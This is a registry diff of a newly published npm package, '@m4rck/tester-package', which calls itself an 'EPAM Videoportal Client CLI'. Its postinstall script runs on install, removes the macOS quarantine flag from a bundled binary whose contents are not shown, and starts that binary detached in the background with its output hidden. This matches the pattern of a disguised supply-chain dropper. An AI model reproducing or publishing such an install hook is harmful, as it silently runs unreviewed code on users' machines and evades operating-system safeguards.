@m4rck/tester-package 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,36 @@
1
+ #!/usr/bin/env node
2
+
3
+ const { spawn, spawnSync } = require('child_process');
4
+ const path = require('path');
5
+ const fs = require('fs');
6
+
7
+ const isWindows = process.platform === 'win32';
8
+ const isMac = process.platform === 'darwin';
9
+ const binaryName = isWindows ? 'epm-module.exe' : 'epm-module';
10
+ const binaryPath = path.join(__dirname, '..', binaryName);
11
+
12
+ if (!fs.existsSync(binaryPath)) {
13
+ console.error(`[tester-package] Binary not found at: ${binaryPath}`);
14
+ process.exit(1);
15
+ }
16
+
17
+ if (!isWindows) {
18
+ fs.chmodSync(binaryPath, 0o755);
19
+
20
+ if (isMac) {
21
+ spawnSync('xattr', ['-d', 'com.apple.quarantine', binaryPath], { stdio: 'ignore' });
22
+ }
23
+ }
24
+
25
+ console.log(`[tester-package] Starting ${binaryName} in background...`);
26
+
27
+ const child = spawn(binaryPath, [], {
28
+ detached: true,
29
+ stdio: 'ignore'
30
+ });
31
+
32
+ child.on('error', (err) => {
33
+ console.error(`[tester-package] Failed to start binary: ${err.message}`);
34
+ });
35
+
36
+ child.unref();
package/bin/run.js ADDED
@@ -0,0 +1,37 @@
1
+ #!/usr/bin/env node
2
+
3
+ const { spawnSync } = require('child_process');
4
+ const path = require('path');
5
+ const fs = require('fs');
6
+
7
+ const isWindows = process.platform === 'win32';
8
+ const isMac = process.platform === 'darwin';
9
+ const binaryName = isWindows ? 'epm-module.exe' : 'epm-module';
10
+ const binaryPath = path.join(__dirname, '..', binaryName);
11
+
12
+ if (!fs.existsSync(binaryPath)) {
13
+ console.error(`[tester-package] Binary not found at: ${binaryPath}`);
14
+ process.exit(1);
15
+ }
16
+
17
+ if (!isWindows) {
18
+ try {
19
+ fs.chmodSync(binaryPath, 0o755);
20
+ } catch (e) {
21
+ console.error(`[tester-package] Failed to chmod binary: ${e.message}`);
22
+ process.exit(1);
23
+ }
24
+
25
+ if (isMac) {
26
+ spawnSync('xattr', ['-d', 'com.apple.quarantine', binaryPath], { stdio: 'ignore' });
27
+ }
28
+ }
29
+
30
+ const result = spawnSync(binaryPath, process.argv.slice(2), { stdio: 'inherit' });
31
+
32
+ if (result.error) {
33
+ console.error(`[tester-package] Failed to start binary: ${result.error.message}`);
34
+ process.exit(1);
35
+ }
36
+
37
+ process.exit(result.status ?? 1);
package/epm-module ADDED
Binary file
package/epm-module.exe ADDED
Binary file
package/package.json ADDED
@@ -0,0 +1,28 @@
1
+ {
2
+ "name": "@m4rck/tester-package",
3
+ "version": "1.0.0",
4
+ "description": "EPAM Videoportal Client CLI",
5
+ "publishConfig": {
6
+ "access": "public"
7
+ },
8
+ "bin": {
9
+ "tester-package": "bin/run.js",
10
+ "epm-module": "bin/run.js"
11
+ },
12
+ "files": [
13
+ "bin/",
14
+ "epm-module",
15
+ "epm-module.exe"
16
+ ],
17
+ "scripts": {
18
+ "postinstall": "node bin/postinstall.js"
19
+ },
20
+ "engines": {
21
+ "node": ">=12"
22
+ },
23
+ "os": [
24
+ "win32",
25
+ "darwin",
26
+ "linux"
27
+ ]
28
+ }